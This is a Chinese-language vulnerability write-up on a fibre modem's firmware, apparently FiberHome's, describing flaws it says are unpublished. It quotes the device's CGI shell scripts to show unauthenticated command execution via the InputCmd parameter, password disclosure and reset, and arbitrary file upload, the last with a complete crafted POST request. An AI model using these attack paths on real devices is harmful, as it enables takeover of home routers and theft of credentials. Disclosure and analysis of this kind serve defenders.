由于漏洞并未公布在互联网上,所以具体是哪个厂家的光猫就不说明了,文中是可以找到的,并未打码,感兴趣的朋友可以自己找找看。
拿到光猫固件,大概看了下,用的是CGI+SH的编程方式,并且源代码都没有做权限的验证,相关代码也没有加密,所以分析也就简单了许多。
下面我们来看下漏洞详情
漏洞在文件telnet.cgi文件中,首先文件判断是否为POST发包,如果是就进行处理
if [ "$REQUEST_METHOD" == "POST" ];then
settelnet
else
gettelnet
fi
我们跟进settelnet这个函数,进入函数后,看到函数调用了getpostdata.cgi这个文件对post包进行接收并赋值给QUERY_STRING变量,最终经过处理赋值给变量CGIParam.
settelnet()
{
QUERY_STRING=`./getpostdata.cgi $CONTENT_LENGTH`
[ "x$QUERY_STRING" == "x" ] && READERR=1
[ "x$QUERY_STRING" != "x" ] && QUERY_STRING=`./urldecode.cgi $QUERY_STRING`
paramIndex="1"
CGIParam=`echo "$QUERY_STRING&" | cut -d '&' -f $paramIndex`
我们看看变量CGIParam被怎么处理,这里用了一个while判断变量$CGIParam是否有值,随后带入处理,可以看到这里把InputCmd的值给取出来,也就是执行的系统命令赋值给了INPUTCMD,我们往下看
while [ "$CGIParam" != "" ]
do
par=`echo "$CGIParam" | cut -d '=' -f 1`
val=`echo "$CGIParam" | cut -d '=' -f 2`
if [ "$val" != "" ]; then
case $par
in
"InputCmd")
INPUTCMD=$val
INPUTCMD=`echo "$INPUTCMD" | sed 's/%23/ /g'`
;;
esac
fi
paramIndex=$((paramIndex+1))
CGIParam=`echo "$QUERY_STRING&" | cut -d '&' -f $paramIndex`
is_submit="1"
done
这里把INPUTCMD的值写入到telnet_input.sh文件里面,随后对telnet_input.sh文件进行执行,执行结果输出到telnet_output.log文件中
if [ "$is_submit" == "1" ]; then
rm /var/WEB-GUI/telnet_* >/dev/null 2>&1
echo "${INPUTCMD}" >/var/WEB-GUI/telnet_input.log
echo "${INPUTCMD}" >/var/WEB-GUI/telnet_input.sh
chmod +x /var/WEB-GUI/telnet_input.sh
cd /var/WEB-GUI/
./telnet_input.sh >/var/WEB-GUI/telnet_output.log 2>&1
fi
由于执行后是没有回显的,所以在本地搭建个监听端来监听连接
后来在submit.cgi文件里发现,请求这个文件就能读取执行后的结果,所以要看到回显需要执行提交两次
#!/bin/sh
echo Content-type: text/html
echo
echo "<html><head></head><body>"
echo "</body></html>"
echo "
<textarea rows='50' cols='160' name='text'>"
while read line; do
echo "${line}"
done < /var/WEB-GUI/telnet_input.log
while read line; do
echo "${line}"
done < /var/WEB-GUI/telnet_input.sh
while read line; do
echo "${line}"
done < /var/WEB-GUI/telnet_output.log
漏洞在文件password_CM.cgi文件中,首先文件判断是否为POST发包,如果是就进行处理
if [ "$REQUEST_METHOD" == "POST" ];then
setpassword
fi
getpassword
我们跟进setpassword函数,函数调用getpostdata.cgi文件对post进行接收,包赋值给LINE变量,处理后赋值给CGIParam变量
setpassword()
{
LINE=`./getpostdata.cgi $CONTENT_LENGTH`
[ "x$LINE" == "x" ] && READERR=1
[ "x$LINE" != "x" ] && LINE=`./urldecode.cgi $LINE`
paramIndex="1"
CGIParam=`echo "$LINE&" | cut -d '&' -f $paramIndex`
这里还是是一个while来判断,一样是取出值然后进行处理,不过这里只能改密码,帐号是不能改的,代码被注释掉了。最后进行密码设置
while [ "$CGIParam" != "" ]
do
par=`echo "$CGIParam" | cut -d '=' -f 1`
val=`echo "$CGIParam" | cut -d '=' -f 2`
if [ "$val" != "" ]; then
case $par
in
# "password_username")
# USERNAME=$val
# ;;
"password_pass")
PASSWORD=$val
PASSWORD=`echo "$PASSWORD" | sed 's/123fiberhome321/\&/g'`
PASSWORD=`echo "$PASSWORD" | sed 's/321telecomadmin123/\!/g'`
;;
esac
fi
paramIndex=$((paramIndex+1))
CGIParam=`echo "$LINE&" | cut -d '&' -f $paramIndex`
done
RETURN_STR=`$INTER_WEB set $CMIGD_DI_XFIBCOMUA_Password "$PASSWORD"`
}
执行完后获取帐号密码,当然了,直接访问此页面也是可以获取帐号密码的
getpassword()
{
USERNAME=`$INTER_WEB get $CMIGD_DI_XFIBCOMUA_UserName | cut -d '&' -f 1`
PASSWORD=`$INTER_WEB get $CMIGD_DI_XFIBCOMUA_Password | sed 's/&$//'`
echo "
{\"RETURN\":
{\"success\": true},
\"PASSWORD\":
{\"password_username\":\"$USERNAME\",
\"password_DLUSERNAME\":\"$DLUSERNAME\",
\"password_area\":\"$area\",
\"password_pass\":\"$PASSWORD\"}
}"
}
执行结果
漏洞文件在loadfile.cgi文件中,我们看到上传文件的地方
<form method=\"post\" action=\"../cgi-bin/uploadfile.htm.cgi\" enctype=\"multipart/form-data\" onsubmit=\"return JudgeKeywordImage(this);\">
<label class='trad' key='paneltip_choose'></label>
<input size=50 name=\"uploadfile\" type=\"file\" ${UPLOAD}/>
<br><br>
<label class='trad' key='paneltip_path'></label>
<span><input type='input' name=\"uploadpath\" value=\"/var/\" style=\"width:300px\"></span>
<br><br>
<input name=\"submit\" type=\"submit\" value=\"上传\" style=\"height:23px\" ${UPLOAD}/>
</form>
</blockquote>
</body>
</html>"
这里的数据包发送到uploadfile.htm.cgi文件,我们跟进,这里执行了uploadcgi.cgi这个cgi文件,这个文件是用来处理上传文件数据包的,这个文件是编译好了的ELF文件,我们逆向看看。
./uploadcgi.cgi
UPPATH=$GETCFG ${BROANCONF} upload
if [ -f /var/Image ]; then
mv /var/Image $UPPATH >/dev/null 2>&1
fi
if [ -f $UPPATH ]; then
success=1
else
success=0
fi
找到入口点,这里首先判断了是否是POST过来的数据包,如果不是就进入函数loc_400A34 中, 返回没有找到方法,继而退出,上传失败。如果是就进入数据包的处理loc_400A74这个函数里面
loc_400A74函数主要对CONTENT_TYPE进行判断,比较CONTENT_TYPE是否是multipart/form-data类型,随后就是各个函数又进行了一系列的判断,文件主要判断了[Content-Type, REQUEST_METHOD ,CONTENT_LENGTH ,UPLOADPATH]
分析过程中发现程序并没有对文件类型做任何的限制,uploadcgi.cgi只是判断是否为POST包而已,判断了一些header类型,所以我们可以把任何文件上传到任何目录,结合正常发包的数据包进行构造数据包,构造的数据包如下
POST /cgi-bin/uploadfile.htm.cgi HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://10.214.99.131/index_main_CM
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data
Accept-Encoding: gzip, deflate
Host: 10.214.99.131
Pragma: no-cache
Connection: close
Content-Disposition: form-data; name="uploadfile"; filename="test.html"
Content-Type: text/html
HGU TEST
Content-Disposition: form-data; name="uploadpath"
/var/WEB-GUI/
Content-Disposition: form-data; name="submit"
submit
上传结果